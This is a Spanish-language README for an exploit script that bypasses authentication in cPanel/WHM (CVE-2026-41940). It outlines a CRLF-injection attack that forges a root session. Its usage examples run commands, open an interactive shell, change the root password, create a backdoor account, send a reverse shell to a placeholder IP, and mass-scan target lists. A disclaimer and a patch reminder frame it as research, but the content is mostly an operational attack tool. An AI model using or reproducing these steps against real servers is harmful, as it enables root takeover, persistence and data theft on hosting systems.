CVE-2026-41940: Bypass de autenticación en cPanel/WHM (objetivo único y múltiple)
Aviso legal: Este documento y el script asociado (exploit.py) se proporcionan estrictamente con fines educativos, investigación de seguridad y pruebas de penetración autorizadas. No utilice este software contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
Descripción general
exploit.py es un script que demuestra una vulnerabilidad de omisión de autenticación (CVE-2026-41940) en cPanel y WHM. La vulnerabilidad permite a un atacante no autenticado inyectar una sesión root en la caché del daemon mediante una falla de inyección CRLF, otorgando finalmente acceso WHM a nivel root sin requerir credenciales válidas.
Análisis de vulnerabilidad y flujo del exploit
El exploit funciona aprovechando una vulnerabilidad de inyección CRLF (Retorno de carro y avance de línea) dentro del mecanismo de manejo de autenticación básica, combinada con una falla de propagación de sesión. El script automatiza el ataque en cuatro etapas:
- Acuñación de sesión pre-autenticación: Se conecta a endpoints de inicio de sesión públicos (por ejemplo,
/login/ o /cgi/login.cgi) para adquirir una cookie de sesión no autenticada de referencia (whostmgrsession).
- Inyección CRLF: Envía una cabecera de autenticación básica manipulada que contiene una carga codificada en Base64 que inyecta campos de sesión root directamente en la caché de sesión de
cpsrvd. La respuesta de redirección del servidor filtra el token de seguridad generado (cpsess).
- Propagación de sesión: La cookie de sesión sin procesar se envía a un endpoint WHM autenticado, lo que desencadena
do_token_denied para propagar la sesión forjada en la caché del daemon, convirtiéndola en una sesión autenticada válida.
- Verificación: Accede a endpoints restringidos de la API de WHM (por ejemplo,
/json-api/version) usando la sesión forjada para confirmar el acceso a nivel root.
Requisitos previos
- Python 3.x
- biblioteca
requests
Uso
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Argumentos
Selección de objetivo
| Argumento | Descripción |
|---|
--target URL | URL única de WHM (p. ej., https://target:2087) |
--target-file FILE | Archivo con objetivos (un ip:puerto por línea) — activa automáticamente el modo de comprobación |
Opciones de red y núcleo
Opciones de explotación (después del bypass)
Opciones de salida
| Argumento | Descripción |
|---|
--output FILE | Guardar el token de sesión y los detalles en un archivo JSON |
Ejemplos
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Comandos del shell interactivo
Al usar --shell, están disponibles los siguientes comandos:
Recordatorio
Actualice inmediatamente los últimos parches de seguridad de cPanel/WHM.